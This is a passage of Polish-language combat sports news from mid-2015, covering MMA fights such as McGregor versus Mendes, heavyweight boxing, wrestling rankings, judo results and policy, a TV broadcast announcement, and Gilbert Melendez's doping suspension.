Chad Mendes

Amerykański zapaśnik i zawodnik MMA urodzony 1 maja 1985 roku w Hanford. W MMA zadebiutował 26 września 2008 roku wygraną walką z Giovannim Encarnacionem.  Kolejne cztery walki to cztery wygrane, które zaowocowały kontraktem z World Extreme Cagefighting.  W 2010 roku dla tej organizacji stoczył cztery wygrane pojedynki.  5 lutego 2011 roku Chad Mendes stoczył swój pierwszy pojedynek dla UFC. W debiucie dla największej organizacji MMA na świecie, Chad jednogłośnie na punkty pokonał Japończyka Michihiro Omigawę.  Po kolejnym zwycięstwie nad Ranim Yahya, 14 stycznia 2012 roku na gali UFC 142 doszło do walki o pas mistrzowski z Brazylijczykiem Jose Aldo. Chad przegrał ten pojedynek przez nokaut w pierwszej rundzie. Po tej porażce Chad Mendes stoczył pięć wygranych pojedynków by 24 października 2014 roku dostał szanse kolejnej walki o pas mistrzowski.  Tym razem również to Brazylijczyk okazał się lepszy, i po pięciu rundach sędziowie wskazali go wygranym. 11 lipca 2015 roku Chad Mendes w zastępstwo za kontuzjowanego mistrza wagi piórkowej stanął do walki o tymczasowy pas mistrzowski z wschodzącą gwiazdą UFC Conorem McGregorem. Jednak i tym razem Mendes przegrał przez TKO w drugiej rundzie. 11 grudnia 2015 roku Mendes przegrał w pierwszej rundzie przez nokaut z Frankie Edgarem. 

Tymczasowy McGregor

Irlandczyk nie ukrywa swoich wielkich aspiracji. Conor McGregor chce być mistrzem i najlepszym fighterem na świecie. Podczas gali UFC 189 w Las Vegas zawodnik z Irlandii wywalczył tytuł tymczasowego czempiona wagi piórkowej.

McGregor już spogląda w kierunku Jose Aldo i chce udowodnić swoją wyższość. Z Brazylijczykiem miał zmierzyć się w Las Vegas, jednak ten z powodu kontuzji musiał zrezygnować z walki. Szansę rywalizacji z McGregorem otrzymał Chad Mendes.

Irlandczyk zrobił swoje

Faworyt był tylko jeden. Nie mogło być inaczej. McGregor przyzwyczaił fanów MMA do tworzenia wielkich widowisk. Nie tylko w oktagonie, ale i poza nim. McGregor potrafi zwrócić na siebie uwagę i świetnie radzi sobie jako mówca. Jego osobowość pozwala przekraczać mu granice, dzięki czemu bardzo szybko wspina się na szczyt. Osobowość to jedno, umiejętności sportowe to drugie. McGregor ma ogromny potencjał, co zdążył już nie raz udowodnić.

Chad Mendes nie zamierzał spoczywać na laurach. Amerykanin po raz kolejny miał okazję rywalizować o mistrzowski pas. Stawką starcia z McGregorem był tymczasowy pas w wadze piórkowej. Mendes to doświadczony fighter, którego przekleństwem jest Jose Aldo. Brazylijczyk pokonał dwukrotnie 30-letniego zawodnika z Kalifornii, czym pozbawił go szans na tytuł  mistrzowski. Mendes doskonale wiedział, że wygrana w konfrontacji z McGregorem da mu szansę rywalizacji z Aldo. Amerykanin liczył na możliwość rewanżu na brazylijskim mistrzu. Problem w tym, że na starcie z zawodnikiem z Kraju Kawy oczekuje McGregor. Zatem w Las Vegas spotkali się dwaj fighterzy, dla których wspólnym mianownikiem stał się pojedynek z Aldo.

Rozpoczęło się od wielkiego show. Zawodników przed rozpoczęciem walki wspierały gwiazdy, które odśpiewały ich „wejściówki”. Sinead O’Connor wykonała utwór dla McGregora, a Aaron Lewis dla  Mendesa. Pierwszy gong i ruszyli na siebie. Właściwie to Mendes na McGregora. Niespodzianka? Przez długi czas wisiała w powietrzu. Mendes wykorzystywał swoją wyższość w parterze i skutecznie neutralizował atuty swojego rywala. Wydawało się, że McGregor jest na straconej pozycji, jednak w drugiej rundzie nastąpił przełom. Na kilkanaście sekund przed końcem Irlandczyk podniósł się i posłał Mendesa na deski. Wystarczyła chwila, żeby McGregor pokazał swój fenomen.

Niepokonany

Czy Irlandczyk wie jak smakuje porażka? Wie, ale czy pamięta. W swojej karierze McGregor poniósł dwie porażki. Po raz ostatni przegrał w listopadzie 2010 roku, a było to na gali CWFC 39, kiedy to Irlandczyka pokonał Joseph Duffy. Walka zakończyła się w trzydzieści osiem sekund.

Od tego momentu minęło prawie pięć lat, a McGregor odniósł czternaście zwycięstw z rzędu. Upomniała się o niego UFC, w której robi furorę. Pięć walk i pięć wygranych, w tym cztery przed czasem. W UFC tymczasowy mistrz wagi piórkowej pozostaje niepokonany. McGregor jest niesamowity -89% pojedynków zakończył dzięki precyzji swojego ciosu.

KM

Czagajew rozbił Pianetę

Po rocznej przerwie na ring powrócił Rusłan Czagajew. 34-letni Uzbek szybko i efektownie rozprawił się z Francesco Pianetą.

Rok temu Czagajew walczył z Fresem Oquendo i wygrał niejedno głośnie na punkty. Obaj pięściarze mają się spotkać po raz drugi. Uzbek czekał aż rok, żeby pojawić się na ringu. W Magdeburgu 34-letni pięściarz wagi ciężkiej zmierzył się z Francesco Pianetą.

Szybkie zwycięstwo

30-letni pięściarz z Gelsenkirchen przystępował do pojedynku z Czagajewem po trzech zwycięstwach z rzędu. Pianeta w maju 2013 roku został zastopowany przed Władimira Kliczko, który zakończył pojedynek w szóstej rundzie. 30-latek konsekwentnie walczył, aby dostąpić zaszczytu walki o najwyższe cele. W 2009 roku włoski Niemiec zremisował z Albertem Sosnowskim w pojedynku o mistrzostwo Europy. Pianeta świetnie spisywał się w 2012 roku, kiedy zapisał na swoim koncie cztery zwycięstwa. Po pokonaniu Fransa Bothy i Nelsona Dario Domigueza stanął przed szansą na zdobycie mistrzostwa świata WBA, WBO, IBF i IBO, jednak Władimir Kliczko okazał się zbyt silny. W pojedynku z Mickaelem Vieirą wywalczył mistrzostwo Europy WBO.

Pianeta wrócił do gry o najwyższą stawkę. 30-latek liczył, że ponownie dostąpi zaszczytu walki o mistrzostwo świata. Rywalizacja z Rusłanem Czagajewem miała pokazać, na ile stać Pianetę. Dla Uzbeka również był to istotny pojedynek. W ringu w Magdeburgu stanęło dwóch ciekawych pięściarzy. Jeden znający smak mistrzostwa, drugi chcący go poznać.

Od początku pojedynek należał do Czagajewa. Uzbek nie zamierzał tracić czasu i od razu ruszył do ataku. Po mocnym ciosie 34-letniego pięściarza Pianeta padł na deski. Czagajew potrzebował zaledwie dziewięćdziesięciu sekund, aby położyć rywala. 30-letni Włoch wstał, ale był oszołomiony i nie mógł się odnaleźć. Czagajew czekał na moment, w którym będzie mógł zadać decydujący cios. Na osiemnaście sekund przed końcem ponownie dopadł Pianetę przy linach i dwoma sierpami posłał przeciwnika na deski. 30-letni pięściarz pochodzący z Kalabrii wstał, ale nie był w stanie kontynuować pojedynku. Sędzia przerwał walkę. Czagajew mógł cieszyć się z trzydziestego czwartego zwycięstwa.

Uzbek czeka na Oquendo

Panowie muszą się spotkać po raz drugi. W lipcu zeszłego roku na punkty lepszy okazał się Czagajew, ale Oquendo gorąco protestował. Portorykańczyk zdecydował się wejść na drogą prawną, aby walczyć o swoje. W efekcie doszło do wyznaczenia Oquendo jako obowiązkowego pretendenta do rywalizacji z czempionem WBA.

Warto zaznaczyć, że 42-letni od ostatniej potyczki z Czagajewem nie boksował. Uzbek ma 120 dni, aby zmierzyć się z Oquendo. Mistrz wagi ciężkiej na zawodowym ringu poniósł dwie porażki – z Władimirem Kliczko i Aleksandrem Povietkinem. Oquendo uważa, że w zeszłym roku został skrzywdzony, dlatego chce pokazać, iż jest lepszy od 34-latka. Zwycięzca pojedynku będzie musiał zmierzyć się z Lucasem Browne, który ma status obowiązkowego pretendenta do mistrzowskiego tytułu.

KM

Maryanyan dołączył do czołówki

Sukcesy na Igrzyskach Europejskich w Baku pomogły wielu zapaśnikom w stylu klasycznym poprawić swoje pozycje w światowym rankingu. Stepan Maryanyan (na zdjęciu) w kategorii 59kg awansował na czwarte miejsce.

23-latek sięgnął w stolicy Azerbejdżanu po złoty medal Igrzysk Europejskich. Dzięki temu w światowym rankingu awansował aż o piętnaście pozycji – z 19 na 4 miejsce. Najlepszym zawodnikiem w wadze 59kg pozostał Rosjanin Mingiyan Siemionow. Na czele klasyków w kategorii 66kg Davor Stefanek. Serb nie ma zamiaru oddawać pozycji lidera w światowym rankingu. W poprzednim roku Stefanek wywalczył złoty medal mistrzostw świata w Taszkiencie. Za nim w rankingu uplasowali się Han-Soo Ryu, Tamas Lorincz oraz Artem Surkow, który zanotował awans o dziewięć pozycji. Na 15.lokacie został sklasyfikowany Mateusz Bernatek.

Do niedawna Frank Staebler rywalizował w kategorii 66kg, jednak postanowił spróbować swoich sił w 71kg. W Baku wywalczył brązowy medal, co pozwoliło mu uplasować się na piątej pozycji w światowym rankingu. Kategorii 71kg przewodzi Rasul Chunayev. 26-letni Elvin Mursaliyev rozkręca się na dobre. W poprzednim sezonie reprezentant Azerbejdżanu udowodnił, że ma ogromny potencjał. Sukcesy mówią same za siebie. W mistrzostwach Europy w Vantaa sięgnął po brązowy medal, trzecie miejsce zajął również w mistrzostwach świata w Taszkiencie. Bezkonkurencyjny okazał się w Baku. Zloty medal w kategorii 75kg jest największym osiągnięciem w karierze Mursaliyeva, który w światowym w rankingu w kategorii 75kg znalazł się na 4.miejscu.  Pozycja lidera dla Kima Hyeona-Woo, który wyprzedził Arsena Julfalakyana oraz Romana Własowa.

Evgeni Saleev jest bezkonkurencyjny w kategorii 80kg. Wicemistrz świata jest liderem światowego rankingu. Z pewnością złoty medal w Baku potwierdził, że Rosjanin nie zamierza ustępować miejsca innym. Za nim znajdują się: Rafik Huseynov i Piotr Bacsi. Największy awans w 80kg zanotował Wiktor Sasunovski z Białorusi, który z 18.miejsca trafił na 6. David Chakvetadze najlepszy w kategorii 85kg. Reprezentant Rosji awansował na szczyt z 16.miejsca! Chakvetadze triumfował w Baku, gdzie uporał się z Zhanem Belenyukiem. W światowym rankingu Ukrainiec jest tuż za plecami Rosjanina. Melonin Noumonvi musiał pogodzić się ze stratą fotela lidera i wylądował na trzeciej pozycji.

Islam Magomedov już w czasach juniorskich prezentował się bardzo dobrze. Pochodzący z Dagestanu zapaśnik dwukrotnie był mistrzem świata i stał się wielką nadzieją rosyjskich zapasów w kategorii 98kg. W Igrzyskach Europejskich w Baku sięgnął po złoty medal, co miało wpływ na kształt światowego rankingu. Magomedov z 14.pozycji awansował na 2. Liderem w kategorii 98kg pozostaje reprezentant Armenii Artur Aleksanyan – brązowy medalista Igrzysk Olimpijskich w Londynie. Riza Kyalaap jest czołowym zapaśnikiem kategorii 130kg. W Baku reprezentant Turcji zdobył złoty krążek, a w światowym rankingu jest drugi. Pozycja lidera należy do doświadczonego Mijaina Lopeza, który jest złotym medalistą Igrzysk Olimpijskich w Londynie (120kg).

KM

Justino miażdży i szuka Rondy

Są takie nazwiska, które po prostu elektryzują. Ze względu na osobowości i osiągnięcia. Taką postacią bez wątpienia jest Cristiane Justino.

Popularna „Cyborg” wystąpiła na gali Invicta FC 13. Rywalką 30-letniej zawodniczki była Faith van Duin, która nie miała okazji zaprezentować swoich umiejętności. Justino załatwiła sprawę bardzo szybko. Nawet nie zmęczyła się.

Królowa z Kurytyby

Fighterka z Kraju Kawy ma element, który jest niezwykle istotny w każdym sporcie. Justino dąży do swojego celu i jest ściśle podporządkowana realizacji kolejnych zadań. Zawodniczka w każdym swoim występie pokazuje charakter, wolę walki i nieustępliwość, a zarazem jest niezwykle pewna siebie i wyważona. „Cyborg” skumulowała cechy, które są niezbędne na drodze do osiągnięcia sukcesu. Dodatkowym atutem Brazylijki jest fakt, że posiada wyrazistą osobowość. Nie kryje się ze swoimi planami i nakręca atmosferę, budując tym samym zainteresowanie swoją osobą. 30-letnia fighterka ma ogromny potencjał marketingowy i wszystko wskazuje na to, że nadejdzie właściwa chwila, kiedy go wykorzysta.

Przygoda Justino z MMA na dobre zaczęła się w 2005 roku. Dość pechowo. Brazylijka w debiucie przegrała już w pierwszej rundzie. Podczas gali SF-Showfight 2 sposób na Justino znalazła Erica Paes. Złe, dobrego początki. Teraz „Cyborg” jest ikoną kobiecego MMA i zmierza na szczyt.

Raz, dwa i po sprawie

Justino nie bawi się w rozpoznanie i wyczucie rywalki. Od razu przystępuje do ataku niczym głodna lwica, która upatrzyła sobie ofiarę. Rzuca się na bezbronną rywalkę i pozbawia ją szans na jakikolwiek ruch. Sprawy toczą się szybko, Brazylijka zwycięża.

Taki scenariusz miał miejsce podczas gali Invicta FC 13. Faith van Duin nie zdążyła celnie trafić rywalki, a pojedynek już się skończył. Zawodniczka z Nowej Zelandii przeżyła prawdziwy huragan ciosów. Justino niczym buldożer ruszała na van Duin i kolanami oraz pięściami zasypała swoją rywalkę. „Cyborg” potrzebowała czterdziestu pięciu sekund, aby zapisać kolejne zwycięstwo na swoim koncie. Kilka miesięcy temu z Chermaine Tweet uporała się w czterdzieści sześć sekund. Tym razem – miała lepszy czas. Do rekordu jednak trochę brakuje. W kwietniu 2009 roku Justino potrzebowała trzydziestu pięciu sekund, aby odnieść zwycięstwo w starciu z Hitomi Akano.

Gdzie jest Ronda?

Cały świat oczami wyobraźni widzi już starcie Rousey – Justino. Brazylijka wyraża gotowość podjęcia rywalizacji z czołową fighterką UFC, jednak jej zdaniem Amerykanka ucieka przed pojedynkiem. Wydaje się, że problem leży w innym miejscu. Kwestią podstawową jest ustalenie, w jakim limicie panie miałby rywalizować. Rousey walczy w 61kg, a Justino w 66kg. Ponadto, Brazylijka cały czas rozmawia z UFC, jednak nie może osiągnąć porozumienia.

Wydaje się, że byłoby to wielkie wydarzenie w MMA. Okazja, aby poznać prawdziwą królową i przekonać się, która osobowość jest silniejsza.

KM

Triumf Barana

Polski zapaśnik odniósł wygraną w prestiżowym memoriale im. Ali Alieva. RadosławBaran okazał się najlepszy w kategorii 97kg w stylu wolnym.

W Kaspijsku w Dagestanie odbył się 46. Memoriał Ali Alieva. Zawody odbywają się w celu upamiętnienia pamięci utytułowanego zapaśnika, a przy okazji są doskonałą okazją do rywalizacji zawodników z różnych części świata. Ali Alev zapisał się w historii jako pięciokrotny mistrz świata. Zapaśnik rywalizował w stylu wolnym w kategorii 52kg i triumfował na czempionach w Teheranie (1959), Yokohamie (1961), dwukrotnie w Toledo (1962 i 1966) i New Delhi (1967). Aliev startował również w igrzyskach olimpijskich, jednak nie udało mu się zdobyć medalu. W Dagestanie jest ikoną zapasów i memoriał jego imienia jest najlepszym tego dowodem. Aliev zmarł w 1995 roku.

Polski triumf w Dagestanie

Radosław Baran rywalizował z mocnymi zawodnikami. Zapasy w krajach postradzieckich mają miano religii. Tam z niezwykłą uwagę przykłada się do treningów. Umiejętności szlifowane są z należytą starannością. Warto dodać, że fighterzy wszelkiej maści ze wschodu często są zawodnikami niezwykle twardymi i wytrzymałymi. W tej rzeczywistości chciał odnaleźć się polski zapaśnik. Radosław Baran w Dagestanie pokazał, że ma ogromny potencjał i stać go na dobre występy.

Polak zwyciężył w styl wolnym w kategorii 97kg. W finale trafił na Magomeda Musaeva z Kirgistanu. 26-latek w Igrzyskach Olimpijskich w Londynie doszedł do ćwierćfinału, gdzie musiał uznać wyższość Rezy Yazdaniego. Musaev w tym roku zdobył srebrny medal w mistrzostwach Azji. W Kaspijsku reprezentant Kirgistanu potwierdził wysoką dyspozycję, jednak w finale miał trudny orzech do zgryzienia. Trafił na Radosława Barana, który znalazł sposób na 26-latka. Polak mógł cieszyć się ze zwycięstwa. Oprócz Baran sukces w Dagestanie odniósł Zbigniew Baranowski. Polski zapaśnik zajął trzecie miejsce w kategorii 86kg.

Baran w dobrej formie

Zapaśnik z Krotoszyna po raz kolejny potwierdził wysoką dyspozycję. Radosław Baran z dobrej strony pokazał się w I Igrzyskach Europejskich w Baku. Polak był o krok od wywalczenia brązowego medalu.

W Baku Baran zaczął od porażki, co teoretycznie stawiało go w trudnej sytuacji. Chetag Gazimow okazał się lepszy od polskiego zapaśnika i pokonywał kolejne przeszkody na swojej drodze, co doprowadziło go do finału. Dzięki temu Baran mógł wystąpić w repasażach. Polak wykorzystał szansę i wygrał dwa pojedynki, co pozwoliło mu walczyć o brązowy medal Igrzysk Europejskich.

Trafił na Abdusałama Gadisowa. Rosjanin miał przewagę fizyczną nad Polakiem, co było kluczem do jego sukcesu. Baran z czasem zaczął słabnąć i nie był w stanie odrobić strat. W Dagestanie nie było mocnych na polskiego zapaśnika. Na przestrzeni ostatnich tygodni Baran prezentował równą dyspozycję, która pozwoliła mu osiągnąć dobre wyniki.

KM

Zamknięci judocy

W Polsce dyskusja na ten temat jest martwa. Międzynarodowa Federacja Judo chce zatrzymać zawodników tylko i wyłącznie dla siebie. Nawet kosztem ich rozwoju.

Pozwólcie Państwo, że najpierw kilka słów o czasach, w których przyszło nam żyć. Wszyscy chcą igrzysk. Liczy się widowisko, emocje, wrażenia artystyczne i pieniądze. Te ostatnie często odgrywają pierwszoplanową rolę. Często decydują o wielu aspektach i są wyznacznikiem szans na sukces. Aby się przebić trzeba mieć pomysł, który podbije serca obserwatorów.

Judoka chce do MMA

Judo jest dyscypliną piękną, nieskazitelną i czystą. To sport, z którego płynie życiowa nauka kształtująca charakter i określająca kulturę człowieka. Dla wielu jest to styl życia. Polska miała wielu wybitnych judoków, ale lata świetności tej dyscypliny w pewnym momencie odeszły do lamusa. Judo popadło w niebyt. Ostatnimi czasy odradza się. W głównej mierze to zasługa polskiej reprezentacji kobiet i trener Anety Szczepańskiej. Brązowy medal mistrzostw świata w 2014 roku Katarzyny Kłys to nie lada sukces. Polska czekała aż jedenaście lata na podium na światowym czempionacie w judo. W tym samym roku po brąz mistrzostw Europy sięgnęła Agata Ozdoba.

Z niecierpliwością czekamy na Igrzyska Olimpijskie w Rio de Janeiro i z nadzieją wypatrujemy medalu. Miłośnicy judo czekają na olimpijski sukces od czasów Pawła Nastuli. Stopniowo judo wraca do łask. Powoli czyni kolejne kroki, aby wrócić na świecznik.

Czasy są trudne. W judo często brakuje pieniędzy, nie wszyscy mogą liczyć na stypendia i tym bardziej sponsorów. Udaje się to nielicznym. Dlatego też wielu zawodników szuka sposobu, który pozwoli osiągać dochody. Wiadomo, że zagraniczne wojaże kosztują, a dopiero zdobycie medalu na imprezie najwyższej rangi jest szansą na uzyskanie rozgłosu. Jego wartość jest nieoceniona. Chwilowe zamieszanie może zrobić wiele dobrego i zwrócić uwagę na określoną osobą, a w szerszym kontekście na sport i nieść ze sobą szereg korzyści.

Tylko potrzeba czasu, wytrwałości i cierpliwości. Sporty walki pozwalają zawodnikom na rozwój, jednak w judo jest nieco inaczej. Oświadczenie prezesa Międzynarodowej Federacji Judo z zeszłego roku uzależnienia starty zawodników w innej dyscyplinie od jego zgody.

Dlaczego?

Nie zawsze judocy decydują się na starty w MMA, często biorą udział w turniejach zapaśnicznych czy jiu-jitsu. Dlaczego im tego zabraniać? Z jednej strony jest to narażenie na odejście największych gwiazd z judo. Są kraje, gdzie ta dyscyplina jest niemalże religią. Dlatego też nie ma obaw, że wszyscy rzucą judo i nagle przeniosą się do MMA. Chodzi raczej o kwestię swego rodzaju medialności. Są zawodnicy, którzy odgrywają rolę ikon czy też twarzy w judo i ich starty w innych dyscyplinach powodują kwestię utraty kapitału. Decyzja władz IJF w jakiś sposób jest zrozumiała, ale nie może odbywać się kosztem sportowców. Zapewne warto poszukać innych rozwiązań, który nie będą tworzyły warunków pachnących swego rodzaju niewolnictwem.

Travis Stevens zdecydował się spróbować swoich sił w jiu-jitsu. Na gruncie polskim tą samą drogą podążył Marek Kręcielewski. Ganbold Kherlen z Mongolii walczył w zapasach, tak jak i Adam Okruashvili z Gruzji. Warto przypomnieć przypadek Rondy Rousey, która była wybitną judoczką, a teraz jest gwiazdą MMA w organizacji UFC.

Czasami po prostu jest tak, że zawodnicy decydują zmienić się płaszczyznę rywalizacji, gdyż w danej dyscyplinie osiągnęli wszystko, co możliw. W żaden sposób nie można im torować drogi. Szkodzi to przede wszystkim judo. Zasady muszą być zdrowe, przejrzyste i powinny szanować dobro wspólne.

 

KM

Mistrz będzie się bronił

Dał wiele radości swoim rodakom, którzy lata świetlne musieli czekać na mistrza świata w wadze ciężkiej. Deontay Wilder jest dumą i chlubą Amerykanów. Mistrz świata WBC czeka na kolejnego rywala.

Wedle najnowszych doniesień bardzo prawdopodobne jest starcie Wildera z Chrisem Arreolą. Do walki miałoby dojść 26 września podczas kolejnej imprezy z cyklu Premier Boxing Champions.

Kolejny nokaut?

Wilder czeka na nazwisko rywala, z którym przyjdzie mu się zmierzyć jesienią. 29-letni pięściarz stał się ulubieńcem amerykańskiej publiczności po tym, jak pokonał Bermane Stiverne i wywalczył pas WBC. Mieszkańcy USA aż osiem lat czekali na mistrza świata kategorii królewskiej. Wilder spełnił ich marzenia i planuje dalsze podboje.

Rodzą się kolejne domysły na temat tego, czy Amerykanin stanie do rywalizacji z Władimirem Kliczko. Wydaje się, że Wilder to jedyny pięściarz, który de facto jest w stanie postawić wysokie wymagania Ukraińcowi. Wielu próbował, ale jakoś od ponad dekady nikt nie znalazł sposobu na Kliczko. Wilder jest pięściarzem, którego chce się oglądać. Twardy, agresywny i co najważniejsze skuteczny. W stu procentach. Wilder na zawodowym ringu nie doznał jeszcze porażki.

Pięściarz z Alabamy wzbudza ciekawość i zainteresowanie. Dlaczego? Odpowiedź jest prosta. Wilder jest królem nokautów. Na trzydzieści cztery zwycięskie walki, aż trzydzieści trzy kończył przed czasem. Tylko walka o mistrzostwo świata ze Stivernem trwała pełnych dwanaście rund,  ale sędziowie nie mieli żadnych wątpliwości, komu należy się zwycięstwo. W pierwszej obronie pasa Wilder stanął w ringu naprzeciw Erica Moliny. W dziewiątej rundzie rywal poległ i walka dobiegła końca. Amerykański mistrz nadal jest w formie, nie ma zamiaru spocząć na laurach, jego droga prowadzi na szczyt. Czy jego pochód zablokuje Chris Arreola?

Musi wygrać

Boksera z Kalifornii w lipcu czeka walka z Fredem Kassim. Bez wątpienia 34-letni Arreola jest faworytem pojedynku, jednak musi wejść do ringu i wykonać zadanie. Dopiero wtedy będzie mógł myśleć o kolejnej już rywalizacji o mistrzowski pas.

Warto zauważyć, że Arreola nie ma szczęścia do rywalizacji o mistrzowski pas WBC w wadze ciężkiej. Amerykanin bił się o tytuł z Witalijem Kliczko i Bermane Stivernem i za każdym razem schodził z ringu pokonany. Arreola dopiero po sześciu latach zawodowej kariery zanotował pierwszą porażkę. Przegrał z nie byle kim, z samym Witalijem Kliczko. Była to walka o pas, w której Arreola stawiał opór, ale w dziesiątej rundzie zabrakło mu sił i Ukrainiec dokończył dzieła. W amerykańskim pięściarzu wielu widziało ogromny potencjał, jednak w decydujących momentach czegoś mu brakowało. Pogromcą Arreoli okazał się również Tomasz Adamek. Po porażce z Polakiem udało mu się powrócić na właściwe tory. Przez trzy lata wygrywał, poległ ze Stivernem. Teraz być może stanie przed kolejną szansą na zdobycie pasa. Wilder to mistrz i prawdziwy killer. Arreola rysuje się jako pięściarz, który dochodzi do pewnego punktu, ale za nic nie może go pokonać. Być może na zawsze pozostanie już pretendentem.

KM

Ogólnoświatowy debiut cyklu ESPN Premier Boxing Champions w telewizji FightKlub.

W nocy z soboty na niedzielę o godzinie 03:00, wyłącznie na antenie telewizji FightKlub, zadebiutuje w Polsce cykl ESPN Premier Boxing Champions. Stacja pokaże na żywo galę z udziałem wielkiej gwiazdy młodego pokolenia – Keith Thurman stanie w obronie tytułu WBA w wadze półśredniej w walce z byłym mistrzem świata Luisem Collazo.

Hitowe gale boksu zawodowego, największych światowych producentów zagoszczą w wakacyjne wieczory na antenie telewizji FightKlub. W nocy z 11 na 12 lipca o godzinie 03:00 (powtórka w niedzielę o 11:30) Keith Thurman (25-0, 21 KO), w piątej obronie mistrzowskiego tytułu WBA w kategorii półśredniej, podejmie byłego czempiona Luisa Collazo (36-6, 19 KO). Będzie to ogólnoświatowy debiut cyklu ESPN Premier Boxing Champions.

Keith “One Time” Thurman to długowłosy talent ze słonecznych plaż Florydy, który na zawodowym ringu zadebiutował w 2007 roku. Bokserska doktryna jest praktycznie jednomyślna – mamy przed sobą następcę takich gwiazd jak Floyd Mayweather Junior czy Manny Pacquiao. Jest znakomity technicznie, szybki, mobilny, bije bardzo mocno i przede wszystkim – bardzo celnie. Tytuł WBA (początkowo w wersji Interim) zdobył nokautując w 10. rundzie Meksykanina Diego Gabriela Chavesa, później przychodziły wygrane m.in. nad takimi nazwiskami jak niepokonany Leonard Bundu i były mistrz kilku kategorii wagowych – Robert “The Ghost” Guerrero. W sumie Thurman bronił już czterokrotnie mistrzowskiego tytułu.

Bardzo trudne zadanie czeka zatem doświadczonego (34 l.) Luisa Collazo. Mańkut z Nowego Jorku ostatnio miał zmienne szczęście w swoich głośnych pojedynkach. Stacja FightKlub pokazała jego starcie z Victorem Ortizem, którego spektakularnie pokonał przez nokaut już w drugiej rundzie. Zdecydowanie gorzej powiodło mu się w walce z Amirem Khanem w maju 2014 roku, przegranym wysoko na punkty. W ostatnim występie Collazo pokonał w drugiej rundzie Chrisrophera Degollado, co jednak wobec niezbyt wysokiej klasy rywala było tylko formalnością.

Na gali w Tampie, w drugiej walce wieczoru, FightKlub pokaże równie ciekawy pojedynek w kategorii średniej – niepokonany Tony Harrison(21-0, 18 KO) skrzyżuje rękawice z Williem “Wielkim” Nelsonem (23-3-1, 13 KO).

Transmisja obu walk wyłącznie w telewizji FightKlub, od godziny 03:00 w nocy z 11 na 12 lipca (powtórka w niedzielę o 11:30).

[kod]

Źródło: materiały prasowe

Nieudana uniwersjada

Polscy judocy muszą pogodzić się z brakiem zdobyczy medalowej na uniwersjadzie w Gwangju. Najwyższe miejsce zajęła Karolina Tałach, która w kategorii 63kg uplasowała się na 5.pozycji.

W zawodach wzięło blisko czterysta zawodniczek i zawodników. Najwięcej pań startowało w kategorii 63kg – trzydzieści sześć judoczek. Z kolei wśród panów po trzydziestu siedmiu zawodników pojawiło się w dwóch wagach – 73kg i 81kg.

Bez medalu

Reprezentanci Polski w Gwangju nie spisali się na medal. 21-letnia Karolina Pieńkowska w tym sezonie startowała wśród seniorów i radziła sobie przyzwoicie. Elementem przygotowań do występu w Korei Południowej był turniej Grand Prix w Budapeszcie. Do stolicy Węgier pojechały tylko dwie Polki –Pieńkowska i Katarzyna Kłys. Teoretycznie wydawało się, że bardziej doświadczona zawodniczka Polonii Rybnik zaprezentuje się lepiej, ale teoria nie zawsze się sprawdza. Pieńkowska w Budapeszcie pokazała, że stać ją na zajmowanie miejsc w czołówce. Wygrała dwie walki i dopiero w ćwierćfinale znalazła pogromczynię w osobie Mareen Kraeg, która ostatecznie zawody wygrała. Z pewnością start w stolicy Węgier podbudował 21-letnią judoczkę AZS-u UW Warszawa. W Budapeszcie Polka zajęła 7. pozycję, w Gwangju powtórzyła ten rezultat. Na początku rywalizacji w Korei Południowej Polka mogła się zrelaksować, gdyż dostała wolny los. Pierwszą przeciwniczką 21-letniej zawodniczki była Azzazya Chintogtogh z Mongolii, która kończyła rywalizację ze spuszczoną głowę. Z podniesionym czołem Pieńkowska przystępował do kolejnej walki, jak się okazało przegranej. Tetiana Levytska pokonała Polkę i pewnie zmierzała po medal, jej droga zakończyła się na 3.miejscu. W repasażach Pieńkowska wygrała z Xiaowei Gu, jednak w kolejnym pojedynku przegrała. Jej pogromczyni Evelyne Tschopp mogła cieszyć się z brązowego medalu.

Aby sięgnąć po złoto Karolina Tałach musiała okazać się lepsza od trzydziestu pięciu zawodniczek. Polka dobrze rozpoczęła start w Korei, jednak powstrzymała ją zawodniczka gospodarzy. Jiyun Bak zastopowała Polkę, która po dwóch wygranych pojedynkach liczyła, że dotrze do strefy medalowej. Porażka z Koreanką odesłała naszą zawodniczkę do repasaży. Tam pokonała dwie rywalki – Czeszkę Patockovą oraz Chinkę Zhang. Dzięki dobrej postawie Polka stanęła przed szansą na sięgnięcie po brązowy medal. Tałach w decydującym starciu przegrała z Niemką Nadją Bazynski i ostatecznie uplasowała się na 5.miejscu. W kategorii +78kg do ćwierćfinału dotarła Joanna Jaworska, która zajęła 7.miejsce.

Azja dominuje

Uniwersjada przebiegała pod dyktando reprezentantów Korei Południowej oraz Japonii. Zawodnicy gospodarzy zdobyli osiem z szesnastu możliwych złotych medali. Wśród panów tylko w kategorii 81kg zwyciężył zawodnik z innego kraju niż Korea i Japonia – Rosjanin Khasen Khalmurzaev. Judocy z Kraju Kwitnącej Wiśni uzyskali pięć złotych medali. Warto nadmienić, że wśród pań monopol Korei i Japonii przełamała Sumiya Dorjsuren z Mongolii (57kg) oraz Samah Camara (78kg).

KM

Kolejna afera dopingowa w MMA

Niedozwolone substancje są zmorą mieszanych sztuk walki. W tym roku na światło dziennie wyszło już kilka afer, których bohaterami byli czołowi fighterzy. Teraz głośno zrobiło się o problemach Gilberta Melendeza.

Czasami jest tak, że człowiek chce sobie w jakiś sposób zrekompensować niepowodzenia. Nie zawsze podejmuje słuszne decyzje. Jak pokazują ostatnie doświadczenia w świecie MMA – w ciągu jednej chwili można spaść ze szczytu na sam dół.

Melendez na dopingu

Gala UFC 188 zakończyła się dla popularnego „El Nino” fatalnie. Amerykanin przegrał walkę z Eddie’m Alvarezem, a po niej okazało się, że stosował niedozwolone środki. Badania wykazały obecność metabolitów testosteronu pochodzenia egzogennego w organizmie 33-letniego zawodnika. Doping w żaden sposób nie pomógł mu na gali w Meksyku, gdyż przegrał przez decyzję sędziów z Alvarezem. Dodatkowo Melendez przez rok będzie musiał odpoczywać od MMA, gdyż na tyle właśnie został zawieszony.

Amerykanin ostatnimi czasy prezentował się słabo. Od 2013 roku stoczył cztery walki, z których wygrał tylko jedną. Z pewnością słabsza dyspozycja miała wpływ na decyzje podjęte przez zawodnika. 33-latek sięgnął po doping, czym naruszył panujące zasady i został za swoje działanie ukarany. Melendez stoczył w tym roku jeden pojedynek  i miał zamiar przygotowywać się do kolejnego. W lipcu podczas gali UFC Fight Night 72 w San Diego miał stanąć naprzeciw Ala Iaquinty. Do walki jednak nie dojdzie.

Czy warto było?

